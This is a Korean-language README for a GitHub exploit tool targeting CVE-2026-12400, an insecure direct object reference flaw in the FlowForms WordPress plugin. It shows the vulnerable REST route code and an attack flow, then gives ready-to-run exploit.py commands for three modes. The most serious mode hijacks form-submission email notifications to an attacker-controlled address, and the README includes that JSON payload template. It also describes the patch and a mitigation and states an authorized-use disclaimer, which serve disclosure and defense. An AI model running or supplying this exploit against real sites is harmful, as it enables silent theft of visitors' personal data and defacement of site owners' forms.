
CVE-2026-12400을 위한 Python 익스플로잇, FlowForms WordPress 플러그인의 IDOR 취약점으로, 인증된 기여자가 임의의 양식을 수정하고 이메일 알림을 가로챌 수 있습니다.
인증된 (Contributor+) 사용자의 Insecure Direct Object Reference로 인한 FlowForms ≤ 1.1.1의 임의 양식 수정
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-12400 |
| CVSS Score | 4.3 — 중간 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (사용자 제어 키를 통한 인증 우회) |
| Product | FlowForms — WordPress 대화형 양식 빌더 플러그인 |
| Affected | 1.1.1을 포함한 모든 버전 |
| Fixed In | 1.1.2에서 수정됨 |
| Researcher | Phantom Hat |
소스 코드 분석, 입력 흐름 추적, 패치 비교를 포함한 전체 화이트박스 사례 연구:
FlowForms는 flowforms/v1 네임스페이스 아래에 취약한 두 개의 REST API 엔드포인트를 노출합니다:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
두 엔드포인트 모두 URL 경로에서 사용자가 제어하는 {id}를 수락하고 대상 양식의 데이터(이름, 내용, 레이아웃, 리디렉션 URL, 이메일 알림 수신자)를 수정합니다.
두 취약한 라우트 등록은 동일한 결함이 있는 permission_callback을 공유합니다:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts는 Contributor가 보유한 권한입니다. {id} 매개변수는 요청 사용자의 소유권과 대조하여 확인되지 않으므로 인증된 모든 사용자가 사이트의 모든 양식 ID를 대상으로 삼을 수 있습니다.
공격자 (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Contributor로 인증
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST nonce 획득
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) 게시된 양식 열거
│<─ HTTP 200 ───────────────────────│ (접근 가능한 모든 양식이 대상)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) 양식 이름/내용 덮어쓰기
│ 공격자 페이로드로 ─────>│ ← 소유권 확인 없음
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) 이메일 알림 탈취
│ /settings ─────────────────>│ ← 공격자가 모든 향후 양식 제출을 수신
│<─ { "success": true } ────────────│
│ │
│ 3가지 공격 벡터 모두 확인됨 │ (5) 이름 ✔ 내용 ✔ 이메일 ✔
email 모드가 가장 중요합니다. 탈취 후, 피해자의 문의 양식에 대한 모든 제출물(방문자 개인정보, 메시지, 연락처 세부정보 포함)이 공격자가 제어하는 주소로 조용히 전달됩니다. 사이트 관리자는 변경 사항을 전혀 인지하지 못합니다.
Contributor 역할의 인증된 계정git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
모든 양식의 이름을 공격자가 제어하는 내용으로 변경:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
양식 레이아웃, 화면, 리디렉션 URL, 배경 이미지 덮어쓰기:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
모든 향후 양식 제출 알림을 공격자가 제어하는 주소로 리디렉션:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
JSON 페이로드 템플릿(NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT)은 스크립트 상단에 정의되어 있습니다. 실행 전에 편집하여 공격 내용을 사용자 정의하세요 — 알림 이메일 주소, 리디렉션 URL, 배경 이미지, 양식 제목 등을 변경합니다.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
익스플로잇은 세 가지 자동화된 단계를 수행합니다:
1단계 — 인증
공격자(Contributor)로 로그인하고 wp-admin/post-new.php에서 유효한 REST API nonce를 획득합니다.
2단계 — 양식 열거
지정된 ID 범위에 걸쳐 GET /flowform/{id}를 스캔합니다. HTTP 200을 반환하는 ID는 접근 가능한 대상으로 수집됩니다. 이는 관리자를 포함한 사이트의 모든 사용자에게 속한 게시된 양식입니다.
3단계 — 익스플로잇 선택된 모드에 따라 해당 페이로드를 보호되지 않은 REST 엔드포인트로 전송합니다:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settings서버는 요청을 수락하고 소유권 확인 없이 수정을 적용합니다.
| 조치 | 세부 사항 |
|---|---|
| 패치 | 두 엔드포인트 모두에서 일반적인 edit_posts 확인을 current_user_can('edit_post', $form_id)로 교체 — 특정 게시물 객체에 권한 확인을 바인딩하여 WordPress 소유권 규칙을 적용합니다 |
| 완화 |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 전 세계 관련 법률에 따라 불법입니다. 저자는 이 소프트웨어의 오용에 대한 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
Phantom Hat — 독립 보안 연구원
이 연구는 책임 있는 취약점 공개의 일환으로 수행되었습니다.
| 모드 | 엔드포인트 | 영향 |
|---|
name | /forms/{id} | 모든 양식 이름 변경 — 훼손, 사회공학 |
content | /forms/{id} | 레이아웃, 환영/감사 화면, 리디렉션 URL 덮어쓰기 |
email | /forms/{id}/settings | 알림 이메일 탈취 — 모든 양식 제출을 조용히 수신 |
| 플래그 | 약어 | 설명 | 필수 |
|---|
--url | -u | 대상 WordPress URL | ✅ |
--user | WordPress 사용자 이름 (Contributor+) | ✅ | |
--password | WordPress 비밀번호 | ✅ | |
--id-start | -i | 열거 시작 양식 ID | ✅ |
--num-forms | -n | 열거할 양식 ID 개수 | ✅ |
--exploit | 공격 모드: name / content / email | ✅ | |
--proxy | -p | 프록시 URL (예: http://127.0.0.1:8080) | ❌ |
패치가 적용될 때까지 플러그인이 활성화된 경우 Contributor 및 Author 역할을 제한하십시오 |